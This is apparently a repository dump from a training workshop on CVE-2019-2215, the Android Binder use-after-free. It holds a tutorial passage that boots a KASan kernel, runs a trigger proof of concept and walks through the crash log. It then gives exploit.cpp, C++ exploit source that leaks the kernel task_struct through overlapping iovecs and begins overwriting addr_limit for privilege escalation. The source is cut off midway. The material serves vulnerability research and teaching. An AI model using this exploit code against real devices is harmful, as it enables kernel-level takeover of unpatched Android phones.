172 | Let's boot this custom kernel in **emulator**.
173 |
174 | ```bash
175 | ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage
176 | ```
177 |
178 |
179 | > **Note:** `-show-kernel` flag is used to display kernel debug messages in the terminal window. Read more about emulator command line flags here https://developer.android.com/studio/run/emulator-commandline
180 |
181 |
182 | If you look at kernel log being displayed in the terminal window after running the above command, you will notice this
183 |
184 | ```
185 | [ 0.000000] kasan: KernelAddressSanitizer initialized
186 | ```
187 |
188 | This is an indicator that we are able to successfully boot a custom kernel built with **KASan** support.
189 |
190 |
191 | ## Crash {#crash}
192 |
193 | Let's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a **KASan** crash.
194 |
195 | You can find the trigger PoC in `workshop/exploit/trigger.cpp`. I have provided a `Makefile` that you can use to build the PoC and push it to the **virtual device**.
196 |
197 | ```cpp
198 | #include
199 | #include
200 | #include
201 | #include
202 |
203 | #define BINDER_THREAD_EXIT 0x40046208ul
204 |
205 | int main() {
206 | int fd, epfd;
207 | struct epoll_event event = {.events = EPOLLIN};
208 |
209 | fd = open("/dev/binder", O_RDONLY);
210 | epfd = epoll_create(1000);
211 | epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
212 | ioctl(fd, BINDER_THREAD_EXIT, NULL);
213 | }
214 | ```
215 |
216 | ```bash
217 | ashfaq@hacksys:~/workshop$ cd exploit/
218 | ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger
219 | Building: cve-2019-2215-trigger
220 | Pushing: cve-2019-2215-trigger to /data/local/tmp
221 | cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)
222 | ```
223 |
224 | ```bash
225 | ashfaq@hacksys:~/workshop/exploit$ adb shell
226 | generic_x86_64:/ $ uname -a
227 | Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
228 | generic_x86_64:/ $ cd /data/local/tmp
229 | generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger
230 | generic_x86_64:/data/local/tmp $
231 | ```
232 |
233 | Look at the terminal window from where you launched the **emulator**, you will see the **KASan** crash log.
234 |
235 | ```
236 | [ 382.398561] ==================================================================
237 | [ 382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d
238 | [ 382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
239 | [ 382.409386]
240 | [ 382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1
241 | [ 382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
242 | [ 382.417931] Call Trace:
243 | [ 382.419106] dump_stack+0x78/0xbe
244 | [ 382.420596] print_address_description+0x81/0x25d
245 | [ 382.422146] ? _raw_spin_lock_irqsave+0x3a/0x5d
246 | [ 382.423691] __kasan_report+0x14f/0x180
247 | [ 382.425082] ? _raw_spin_lock_irqsave+0x3a/0x5d
248 | [ 382.426437] kasan_report+0x26/0x49
249 | [ 382.427468] check_memory_region+0x171/0x17e
250 | [ 382.428725] kasan_check_write+0x14/0x16
251 | [ 382.429884] _raw_spin_lock_irqsave+0x3a/0x5d
252 | [ 382.431010] remove_wait_queue+0x27/0x122
253 | [ 382.432003] ? fsnotify_unmount_inodes+0x1e8/0x1e8
254 | [ 382.433156] ep_unregister_pollwait+0x160/0x1bd
255 | [ 382.434252] ep_free+0x8b/0x181
256 | [ 382.435024] ? ep_eventpoll_poll+0x228/0x228
257 | [ 382.435953] ep_eventpoll_release+0x48/0x54
258 | [ 382.436825] __fput+0x1f2/0x51d
259 | [ 382.437483] ____fput+0x15/0x18
260 | [ 382.438145] task_work_run+0x127/0x154
261 | [ 382.438932] do_exit+0x818/0x2384
262 | [ 382.439642] ? mm_update_next_owner+0x52f/0x52f
263 | [ 382.440555] do_group_exit+0x12c/0x24b
264 | [ 382.441247] ? do_group_exit+0x24b/0x24b
265 | [ 382.441964] SYSC_exit_group+0x17/0x17
266 | [ 382.442652] SyS_exit_group+0x14/0x14
267 | [ 382.443264] do_syscall_64+0x19e/0x225
268 | [ 382.443920] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
269 | [ 382.444784] RIP: 0033:0x4047d7
270 | [ 382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
271 | [ 382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
272 | [ 382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
273 | [ 382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
274 | [ 382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
275 | [ 382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
276 | [ 382.453146]
277 | [ 382.453427] Allocated by task 7682:
278 | [ 382.454054] save_stack_trace+0x16/0x18
279 | [ 382.454738] __kasan_kmalloc+0x133/0x1cc
280 | [ 382.455445] kasan_kmalloc+0x9/0xb
281 | [ 382.456063] kmem_cache_alloc_trace+0x1bd/0x26f
282 | [ 382.456869] binder_get_thread+0x166/0x6db
283 | [ 382.457605] binder_poll+0x4c/0x1c2
284 | [ 382.458235] SyS_epoll_ctl+0x1558/0x24f0
285 | [ 382.458910] do_syscall_64+0x19e/0x225
286 | [ 382.459598] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
287 | [ 382.460525] 0xffffffffffffffff
288 | [ 382.461085]
289 | [ 382.461334] Freed by task 7682:
290 | [ 382.461762] save_stack_trace+0x16/0x18
291 | [ 382.462222] __kasan_slab_free+0x18f/0x23f
292 | [ 382.462711] kasan_slab_free+0xe/0x10
293 | [ 382.463149] kfree+0x193/0x5b3
294 | [ 382.463538] binder_thread_dec_tmpref+0x192/0x1d9
295 | [ 382.464095] binder_thread_release+0x464/0x4bd
296 | [ 382.464623] binder_ioctl+0x48a/0x101c
297 | [ 382.465071] do_vfs_ioctl+0x608/0x106a
298 | [ 382.465518] SyS_ioctl+0x75/0xa4
299 | [ 382.465906] do_syscall_64+0x19e/0x225
300 | [ 382.466358] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
301 | [ 382.466953] 0xffffffffffffffff
302 | [ 382.467335]
303 | [ 382.467783] The buggy address belongs to the object at ffff88804e486528
304 | [ 382.467783] which belongs to the cache kmalloc-512 of size 512
305 | [ 382.469983] The buggy address is located 160 bytes inside of
306 | [ 382.469983] 512-byte region [ffff88804e486528, ffff88804e486728)
307 | [ 382.472065] The buggy address belongs to the page:
308 | [ 382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0
309 | [ 382.474871] flags: 0x4000000000010200(slab|head)
310 | [ 382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
311 | [ 382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
312 | [ 382.478072] page dumped because: kasan: bad access detected
313 | [ 382.478784]
314 | [ 382.478973] Memory state around the buggy address:
315 | [ 382.479571] ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
316 | [ 382.480479] ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
317 | [ 382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
318 | [ 382.482155] ^
319 | [ 382.482806] ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
320 | [ 382.483648] ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
321 | [ 382.484485] ==================================================================
322 | ```
323 |
324 | Few things to note from the crash log:
325 |
326 | * This is a `Use after Free` vulnerability
327 | * Crashed while writing **4 bytes** in the dangling chunk
328 | * The dangling chunk belong to `kmalloc-512` cache
329 |
330 |
331 | ## KASan Symbolizer {#kasan-symbolizer}
332 |
333 | The above crash log is not very intuitive. We can symbolize the stack traces using [`kasan_symbolize.py`](https://github.com/google/sanitizers/blob/master/address-sanitizer/tools/kasan_symbolize.py).
334 |
335 | ```bash
336 | ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/
337 | ```
338 | ```
339 | ==================================================================
340 | BUG: KASAN: use-after-free in[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
341 | BUG: KASAN: use-after-free in[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87
342 | BUG: KASAN: use-after-free in[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173
343 | BUG: KASAN: use-after-free in[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
344 | BUG: KASAN: use-after-free in[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
345 | Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
346 |
347 | CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1
348 | Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
349 | Call Trace:
350 | [< inline >] __dump_stack lib/dump_stack.c:17
351 | [< none >] dump_stack+0x78/0xbe lib/dump_stack.c:53
352 | [< none >] print_address_description+0x81/0x25d mm/kasan/report.c:187
353 | ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
354 | ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87
355 | ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173
356 | ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
357 | ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
358 | [< none >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316
359 | ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
360 | ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87
361 | ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173
362 | ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
363 | ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
364 | [< none >] kasan_report+0x26/0x49 mm/kasan/common.c:626
365 | [< inline >] check_memory_region_inline mm/kasan/generic.c:182
366 | [< none >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191
367 | [< none >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106
368 | [< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
369 | [< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87
370 | [< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173
371 | [< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
372 | [< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
373 | [< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50
374 | ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99
375 | [< inline >] ep_remove_wait_queue fs/eventpoll.c:612
376 | [< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630
377 | [< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847
378 | ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942
379 | [< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879
380 | [< none >] __fput+0x1f2/0x51d fs/file_table.c:210
381 | [< none >] ____fput+0x15/0x18 fs/file_table.c:244
382 | [< none >] task_work_run+0x127/0x154 kernel/task_work.c:113
383 | [< inline >] exit_task_work include/linux/task_work.h:22
384 | [< none >] do_exit+0x818/0x2384 kernel/exit.c:875
385 | ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468
386 | [< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978
387 | ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367
388 | ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975
389 | [< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989
390 | [< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987
391 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
392 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
393 | RIP: 0033:0x4047d7
394 | RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
395 | RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
396 | RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
397 | RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
398 | R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
399 | R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
400 |
401 | Allocated by task 7682:
402 | [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
403 | [< inline >] save_stack mm/kasan/common.c:76
404 | [< inline >] set_track mm/kasan/common.c:85
405 | [< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501
406 | [< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515
407 | [< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819
408 | [< inline >] kmalloc include/linux/slab.h:488
409 | [< inline >] kzalloc include/linux/slab.h:661
410 | [< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677
411 | [< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805
412 | [< inline >] ep_item_poll fs/eventpoll.c:888
413 | [< inline >] ep_insert fs/eventpoll.c:1476
414 | [< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128
415 | [< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014
416 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
417 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
418 | 0xffffffffffffffff
419 |
420 | Freed by task 7682:
421 | [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
422 | [< inline >] save_stack mm/kasan/common.c:76
423 | [< inline >] set_track mm/kasan/common.c:85
424 | [< none >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463
425 | [< none >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471
426 | [< inline >] slab_free_hook mm/slub.c:1407
427 | [< inline >] slab_free_freelist_hook mm/slub.c:1458
428 | [< inline >] slab_free mm/slub.c:3039
429 | [< none >] kfree+0x193/0x5b3 mm/slub.c:3976
430 | [< inline >] binder_free_thread drivers/android/binder.c:4705
431 | [< none >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053
432 | [< none >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794
433 | [< none >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062
434 | [< none >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46
435 | [< inline >] SYSC_ioctl fs/ioctl.c:701
436 | [< none >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692
437 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
438 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
439 | 0xffffffffffffffff
440 |
441 | The buggy address belongs to the object at ffff88804e486528
442 | which belongs to the cache kmalloc-512 of size 512
443 | The buggy address is located 160 bytes inside of
444 | 512-byte region [ffff88804e486528, ffff88804e486728)
445 | The buggy address belongs to the page:
446 | page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0
447 | flags: 0x4000000000010200(slab|head)
448 | raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
449 | raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
450 | page dumped because: kasan: bad access detected
451 |
452 | Memory state around the buggy address:
453 | ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
454 | ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
455 | >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
456 | ^
457 | ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
458 | ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
459 | ==================================================================
460 | ```
461 |
462 | Isn't this more useful than the previous crash log.
463 |
--------------------------------------------------------------------------------
/exploit/exploit.cpp:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | ## # # ### ### ### # ### ### ### # ###
4 | # # # # # # # ## # # # # ## #
5 | # # # ## ### ### # # # ### ### ### ### # ###
6 | # # # # # # # # # # # # #
7 | ## # ### ### ### ### ### ### ### ### ###
8 | @HackSysTeam
9 |
10 | CVE-2019-2215
11 | Android Binder Use after Free
12 | CloudFuzz TechnoLabs Pvt. Ltd.
13 |
14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
17 |
18 | Thanks:
19 | @maddiestone
20 | @tehjh
21 |
22 | --*/
23 |
24 | #include "exploit.h"
25 |
26 |
27 | /**
28 | * Bind to CPU
29 | */
30 | void BinderUaF::bindToCPU() {
31 | int ret;
32 | cpu_set_t cpuSet;
33 |
34 | CPU_ZERO(&cpuSet);
35 | CPU_SET(0, &cpuSet);
36 |
37 | //
38 | // It's a good thing to bind the CPU to a specific core,
39 | // so that we do not get scheduled to different core and
40 | // mess up the SLUB state
41 | //
42 |
43 | INFO("[+] Binding to 0th core\n");
44 |
45 | ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet);
46 |
47 | if (ret < 0) {
48 | ERR("[-] bindCPU failed: 0x%x\n", errno);
49 | }
50 | }
51 |
52 |
53 | /**
54 | * Open the binder device
55 | */
56 | void BinderUaF::setupBinder() {
57 | INFO("[+] Opening: /dev/binder\n");
58 |
59 | m_binder_fd = open("/dev/binder", O_RDONLY);
60 |
61 | if (m_binder_fd < 0) {
62 | ERR("\t[-] Unable to get binder fd\n");
63 | exit(EXIT_FAILURE);
64 | } else {
65 | INFO("\t[*] m_binder_fd: 0x%x\n", m_binder_fd);
66 | }
67 | }
68 |
69 |
70 | /**
71 | * Free the binder thread structure
72 | */
73 | void BinderUaF::freeBinderThread() {
74 | INFO("[+] Freeing binder_thread\n");
75 |
76 | ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL);
77 | }
78 |
79 |
80 | /**
81 | * Create the event poll
82 | */
83 | void BinderUaF::setupEventPoll() {
84 | INFO("[+] Creating event poll\n");
85 |
86 | m_epoll_fd = epoll_create(1);
87 |
88 | if (m_epoll_fd < 0) {
89 | ERR("\t[-] Unable to get event poll fd\n");
90 | exit(EXIT_FAILURE);
91 | } else {
92 | INFO("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd);
93 | }
94 | }
95 |
96 |
97 | /**
98 | * Allocate 4GB aligned page
99 | */
100 | void BinderUaF::mmap4gbAlignedPage() {
101 | if (!m_4gb_aligned_page) {
102 | INFO("[+] Mapping 4GB aligned page\n");
103 |
104 | m_4gb_aligned_page = mmap(
105 | (void *) 0x100000000ul,
106 | PAGE_SIZE,
107 | PROT_READ | PROT_WRITE,
108 | MAP_PRIVATE | MAP_ANONYMOUS,
109 | -1,
110 | 0
111 | );
112 |
113 | if (!m_4gb_aligned_page) {
114 | ERR("\t[-] Unable to mmap 4GB aligned page\n");
115 | exit(EXIT_FAILURE);
116 | } else {
117 | INFO("\t[*] Mapped page: %p\n", m_4gb_aligned_page);
118 | }
119 | }
120 | }
121 |
122 |
123 | /**
124 | * Link eppoll_entry->wait.entry to binder_thread->wait.head
125 | */
126 | void BinderUaF::linkEventPollWaitQueueToBinderThreadWaitQueue() {
127 | INFO("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n");
128 |
129 | epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event);
130 | }
131 |
132 |
133 | /**
134 | * Unlink eppoll_entry->wait.entry from binder_thread->wait.head
135 | */
136 | void BinderUaF::unlinkEventPollWaitQueueFromBinderThreadWaitQueue() {
137 | INFO("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n");
138 |
139 | epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);
140 | }
141 |
142 |
143 | /**
144 | * The dangling chunk is binder_thread structure
145 | * and it contains an interesting member task_struct
146 | */
147 | void BinderUaF::leakTaskStruct() {
148 | int pipe_fd[2] = {0};
149 | ssize_t nBytesRead = 0;
150 | static char dataBuffer[PAGE_SIZE] = {0};
151 | struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
152 |
153 | //
154 | // Get binder fd
155 | //
156 |
157 | setupBinder();
158 |
159 | //
160 | // Create event poll
161 | //
162 |
163 | setupEventPoll();
164 |
165 | //
166 | // We are going to use iovec for scoped read/write,
167 | // we need to make sure that iovec stays in the kernel
168 | // before we trigger the unlink after binder_thread has
169 | // been freed.
170 | //
171 | // One way to achieve this is by using the blocking APIs
172 | // in Linux kernel. Such APIs are read, write, etc on pipe.
173 | //
174 |
175 | //
176 | // Setup pipe for iovec
177 | //
178 |
179 | INFO("[+] Setting up pipe\n");
180 |
181 | if (pipe(pipe_fd) == -1) {
182 | ERR("\t[-] Unable to create pipe\n");
183 | exit(EXIT_FAILURE);
184 | } else {
185 | INFO("\t[*] Pipe created successfully\n");
186 | }
187 |
188 | //
189 | // pipe_fd[0] = read fd
190 | // pipe_fd[1] = write fd
191 | //
192 | // Default size of pipe is 65536 = 0x10000 = 64KB
193 | // This is way much of data that we care about
194 | // Let's reduce the size of pipe to 0x1000
195 | //
196 | if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
197 | ERR("\t[-] Unable to change the pipe capacity\n");
198 | exit(EXIT_FAILURE);
199 | } else {
200 | INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
201 | }
202 |
203 | INFO("[+] Setting up iovecs\n");
204 |
205 | //
206 | // As we are overlapping binder_thread with iovec,
207 | // binder_thread->wait.lock will align to iovecStack[10].io_base.
208 | //
209 | // If binder_thread->wait.lock is not 0 then the thread will get
210 | // stuck in trying to acquire the lock and the unlink operation
211 | // will not happen.
212 | //
213 | // To avoid this, we need to make sure that the overlapped data
214 | // should be set to 0.
215 | //
216 | // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
217 | // we can pass a valid memory address whose lower 32bit value is 0,
218 | // then we can avoid spin lock issue.
219 | //
220 |
221 | mmap4gbAlignedPage();
222 |
223 | iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
224 | iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
225 | iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
226 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;
227 |
228 | //
229 | // Now link the poll wait queue to binder thread wait queue
230 | //
231 |
232 | linkEventPollWaitQueueToBinderThreadWaitQueue();
233 |
234 | //
235 | // We should trigger the unlink operation when we
236 | // have the binder_thread reallocated as iovec array
237 | //
238 |
239 | //
240 | // Now fork
241 | //
242 |
243 | pid_t childPid = fork();
244 |
245 | if (childPid == 0) {
246 | //
247 | // child process
248 | //
249 |
250 | //
251 | // There is a race window between the unlink and blocking
252 | // in writev, so sleep for a while to ensure that we are
253 | // blocking in writev before the unlink happens
254 | //
255 |
256 | sleep(2);
257 |
258 | //
259 | // Trigger the unlink operation on the reallocated chunk
260 | //
261 |
262 | unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
263 |
264 | //
265 | // First interesting iovec will read 0x1000 bytes of data.
266 | // This is just the junk data that we are not interested in
267 | //
268 |
269 | nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
270 |
271 | if (nBytesRead != PAGE_SIZE) {
272 | ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
273 | exit(EXIT_FAILURE);
274 | }
275 |
276 | exit(EXIT_SUCCESS);
277 |
278 | }
279 |
280 | //
281 | // parent process
282 | //
283 |
284 | //
285 | // I have seen some races which hinders the reallocation.
286 | // So, now freeing the binder_thread after fork.
287 | //
288 |
289 | freeBinderThread();
290 |
291 | //
292 | // Reallocate binder_thread as iovec array
293 | //
294 | // We need to make sure this writev call blocks
295 | // This will only happen when the pipe is already full
296 | //
297 |
298 | //
299 | // This print statement was ruining the reallocation,
300 | // spent a night to figure this out. Commenting the
301 | // below line.
302 | //
303 |
304 | // INFO("[+] Reallocating binder_thread\n");
305 |
306 |
307 | ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);
308 |
309 | //
310 | // If the corruption was successful, the total bytes written
311 | // should be equal to 0x2000. This is because there are two
312 | // valid iovec and the length of each is 0x1000
313 | //
314 |
315 | if (nBytesWritten != PAGE_SIZE * 2) {
316 | ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);
317 | exit(EXIT_FAILURE);
318 | } else {
319 | INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
320 | }
321 |
322 | //
323 | // Now read the actual data from the corrupted iovec
324 | // This is the leaked data from kernel address space
325 | // and will contain the task_struct pointer
326 | //
327 |
328 | nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
329 |
330 | if (nBytesRead != PAGE_SIZE) {
331 | ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
332 | exit(EXIT_FAILURE);
333 | }
334 |
335 | //
336 | // Wait for the child process to exit
337 | //
338 |
339 | wait(nullptr);
340 |
341 | m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));
342 |
343 | m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));
344 | m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));
345 | m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));
346 |
347 | INFO("[+] Leaked task_struct: %p\n", m_task_struct);
348 | INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
349 | INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
350 | INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
351 | }
352 |
353 |
354 | /**
355 | * Clobber addr_limit
356 | */
357 | void BinderUaF::clobberAddrLimit() {
358 | int sock_fd[2] = {0};
359 | ssize_t nBytesWritten = 0;
360 | struct msghdr message = {nullptr};
361 | struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
362 |
363 | //
364 | // Get binder fd
365 | //
366 |
367 | setupBinder();
368 |
369 | //
370 | // Create event poll
371 | //
372 |
373 | setupEventPoll();
374 |
375 | //
376 | // For clobbering the addr_limit we trigger the unlink
377 | // operation again after reallocating binder_thread with
378 | // iovecs
379 | //
380 | // If you see how we manage to leak kernel data is by using
381 | // the blocking feature of writev
382 | //
383 | // We could use readv blocking feature to do scoped write
384 | // However, after trying readv and reading the Linux kernel
385 | // code, I figured out an issue which makes readv useless for
386 | // current bug.
387 | //
388 | // The main issue that I found is:
389 | //
390 | // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
391 | // due to unlink operation
392 | //
393 | // So, when copy_page_to_iter_iovec tries to process the iovecs,
394 | // there is a line of code, copy = min(bytes, iov->iov_len);
395 | // Here, "bytes" is equal to sum of all iovecs length and as
396 | // "iov->iov_len" is corrupted with a pointer which is obviously
397 | // a very big number, now copy = sum of all iovecs length and skips
398 | // the processing of the next iovec which is the target iovec which
399 | // would give was scoped write.
400 | //
401 | // I believe P0 also faced the same issue so they switched to recvmsg
402 | //
403 |
404 | //
405 | // Setup socketpair for iovec
406 | //
407 | // AF_UNIX/AF_LOCAL is used because we are interested only in
408 | // local communication
409 | //
410 | // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
411 | //
412 |
413 | INFO("[+] Setting up socket\n");
414 |
415 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
416 | ERR("\t[-] Unable to create socketpair\n");
417 | exit(EXIT_FAILURE);
418 | } else {
419 | INFO("\t[*] Socketpair created successfully\n");
420 | }
421 |
422 | //
423 | // We will just write junk data to socket so that when recvmsg
424 | // is called it process the fist valid iovec with this junk data
425 | // and then blocks and waits for the rest of the data to be received
426 | //
427 |
428 | static char junkSocketData[] = {
429 | 0x41
430 | };
431 |
432 | INFO("[+] Writing junk data to socket\n");
433 |
434 | nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));
435 |
